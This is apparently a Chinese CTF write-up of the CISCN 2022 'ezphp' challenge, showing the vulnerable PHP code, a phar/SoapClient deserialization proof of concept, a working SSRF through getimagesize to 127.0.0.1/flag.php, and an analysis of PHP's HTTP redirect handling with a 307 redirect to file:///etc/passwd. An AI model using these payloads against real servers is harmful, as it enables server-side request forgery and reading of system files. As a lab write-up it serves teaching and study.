一次php代码审计(复习)

0x0 背景

源于ciscn2022华东北赛区的一道题ezphp

总体结构如下

image-20220622163327499

upload.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
header("content-type:text/html;charset=utf-8"); //设置编码
highlight_file(__FILE__);
error_reporting(0);
include "config.php";
ini_set("max_execution_time","5");
//flag in flag.php
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmp = $_FILES['file']['tmp_name'];
$content=file_get_contents($tmp);
if (preg_match("/<\?|php/i", $content )){
echo "go away!!!! hacker";
exit();
}
$filepath="storage/";

if( $filetype=="image/gif" ){
$random_name=substr(md5(time()), 0, 8);
if(move_uploaded_file($tmp,$filepath.$random_name.".gif")){
echo "上传成功:路径在: ./".$filepath.$random_name.".gif";
}else{
echo "上传失败";
}
}
else{
echo "invalid gif";
}
}
function checkimg($img){
var_dump($img);
$check=getimagesize($img);
if (($check!=false) && ($check['mime'] == 'image/gif')){
echo "safe image";
}
else{
echo "go away hacker";
}
}

$img=$_GET["img"];
if (isset($img)){
checkimg($img);
}

flag.php如下

1
2
3
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
file_put_contents("flag.txt",$flag);
}

config.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
class Mysql{
public $conn;
public $dbhost;
public $dbusername;
public $dbpasswd;

public function __construct()
{
if(isset($_POST['dbhost'])&&isset($_POST['dbusername'])&&isset($_POST['dbpasswd']))
{
$this->dbhost=$_POST['dbhost'];
$this->dbusername=$_POST['dbusername'];
$this->dbpasswd=$_POST['dbpasswd'];
}
}

public function connect()
{
$this->conn=new mysqli($this->dbhost,$this->dbusername,$this->dbpasswd);
if($this->conn->connect_error)
{
echo "Connection failed: {$this->conn->connect_error}";
return False;
}
$result=$this->conn->query("select * from test");
if(is_resource($result))
{
return $result->fetch_assoc();
}
else
{
return False;
}
}

public function __destruct()
{
$this->conn->close();
}
}

0x01 想法1 Soap反序列化

看一眼就会发现纯纯的phar反序列化打php内置Soap类反序列化

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a = new SoapClient(null, array('location' => 'http://127.0.0.1/flag.php', 'user_agent' => "AAA:BBB\r\n" . "Cookie:PHPSESSID=22704eeclr7famlh9s21m9to26", 'uri' => '123'));

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// $a = new Mysql();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
copy("./phar.phar", "poc.gif");

怼半天没通

0x02 想法2 getimagesize-URL请求

这里我们要仔细看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function checkimg($img){
$check=getimagesize($img);
if (($check!=false) && ($check['mime'] == 'image/gif')){
echo "safe image";
}
else{
echo "go away hacker";
}
}

$img=$_GET["img"];
if (isset($img)){
checkimg($img);
}

这里没有任何所谓的check 只是单纯的用getimagesize解析一下我们的参数

我就试了一下upload.php?img=http://127.0.0.1/flag.php

然后就获得flag.txt

看一下php官网对于这个函数的解释

image-20220622164245277

image-20220622164256999

好吧 默认支持url参数 从4.0.5添加的 基础功不扎实 这都不知道

0x03 代码分析

看一下getimagesize函数的定义

image-20220622164432605image-20220622164452616

还是大家非常熟悉的php_stream_open_wrapper

但今天聊点其他的

如果发出http请求之后会交给

1
2
3
php_stream_url_wrap_http_ex http_fopen_wrapper.c:741
php_stream_url_wrap_http http_fopen_wrapper.c:971
_php_stream_open_wrapper_ex streams.c:2126

php_stream_url_wrap_http_ex获取服务器返回的数据之后会解析header

image-20220622165154260

image-20220622165440323

如果Location存在并且状态码((response_code >= 300 && response_code < 304)|| 307 == response_code || 308 == response_code)时就会至follow_location为真

1
2
3
4
5
6
7
8
9
10
11
12
13
if (!strncasecmp(http_header_line, "Location:", sizeof("Location:")-1)) {
if (context && (tmpzval = php_stream_context_get_option(context, "http", "follow_location")) != NULL) {
follow_location = zval_is_true(tmpzval);
} else if (!((response_code >= 300 && response_code < 304)
|| 307 == response_code || 308 == response_code)) {
/* we shouldn't redirect automatically
if follow_location isn't set and response_code not in (300, 301, 302, 303 and 307)
see http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.1
RFC 7238 defines 308: http://tools.ietf.org/html/rfc7238 */
follow_location = 0;
}
strlcpy(location, http_header_value, sizeof(location));
}

随后判断是不是http[s]请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char new_path[HTTP_HEADER_BLOCK_SIZE];
char loc_path[HTTP_HEADER_BLOCK_SIZE];

*new_path='\0';
if (strlen(location)<8 || (strncasecmp(location, "http://", sizeof("http://")-1) &&
strncasecmp(location, "https://", sizeof("https://")-1) &&
strncasecmp(location, "ftp://", sizeof("ftp://")-1) &&
strncasecmp(location, "ftps://", sizeof("ftps://")-1)))
{
if (*location != '/') {
if (*(location+1) != '\0' && resource->path) {
char *s = strrchr(ZSTR_VAL(resource->path), '/');
if (!s) {
s = ZSTR_VAL(resource->path);
if (!ZSTR_LEN(resource->path)) {
zend_string_release_ex(resource->path, 0);
resource->path = zend_string_init("/", 1, 0);
s = ZSTR_VAL(resource->path);
} else {
*s = '/';
}
}
s[1] = '\0';
if (resource->path &&
ZSTR_VAL(resource->path)[0] == '/' &&
ZSTR_VAL(resource->path)[1] == '\0') {
snprintf(loc_path, sizeof(loc_path) - 1, "%s%s", ZSTR_VAL(resource->path), location);
} else {
snprintf(loc_path, sizeof(loc_path) - 1, "%s/%s", ZSTR_VAL(resource->path), location);
}
} else {
snprintf(loc_path, sizeof(loc_path) - 1, "/%s", location);
}
} else {
strlcpy(loc_path, location, sizeof(loc_path));
}
if ((use_ssl && resource->port != 443) || (!use_ssl && resource->port != 80)) {
snprintf(new_path, sizeof(new_path) - 1, "%s://%s:%d%s", ZSTR_VAL(resource->scheme), ZSTR_VAL(resource->host), resource->port, loc_path);
} else {
snprintf(new_path, sizeof(new_path) - 1, "%s://%s%s", ZSTR_VAL(resource->scheme), ZSTR_VAL(resource->host), loc_path);
}
} else {
strlcpy(new_path, location, sizeof(new_path));
}

如果返回Location为合法url

1
2
3
4
HTTP/1.1 307
Location: http://localhost:1234/123


则会跳转

image-20220622165845491

否则会拼接到原有url后跳转

1
2
3
4
HTTP/1.1 307
Location: file:///etc/passwd


image-20220622165959236

0x04 other

php_stream_url*中会使用php_url_free函数对传入的数据进行严格的替换无法进行CRLF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PHPAPI void php_url_free(php_url *theurl)
{
if (theurl->scheme)
zend_string_release_ex(theurl->scheme, 0);
if (theurl->user)
zend_string_release_ex(theurl->user, 0);
if (theurl->pass)
zend_string_release_ex(theurl->pass, 0);
if (theurl->host)
zend_string_release_ex(theurl->host, 0);
if (theurl->path)
zend_string_release_ex(theurl->path, 0);
if (theurl->query)
zend_string_release_ex(theurl->query, 0);
if (theurl->fragment)
zend_string_release_ex(theurl->fragment, 0);
efree(theurl);
}
作者

Suanve

发布于

2022-06-22

更新于

2022-06-22

许可协议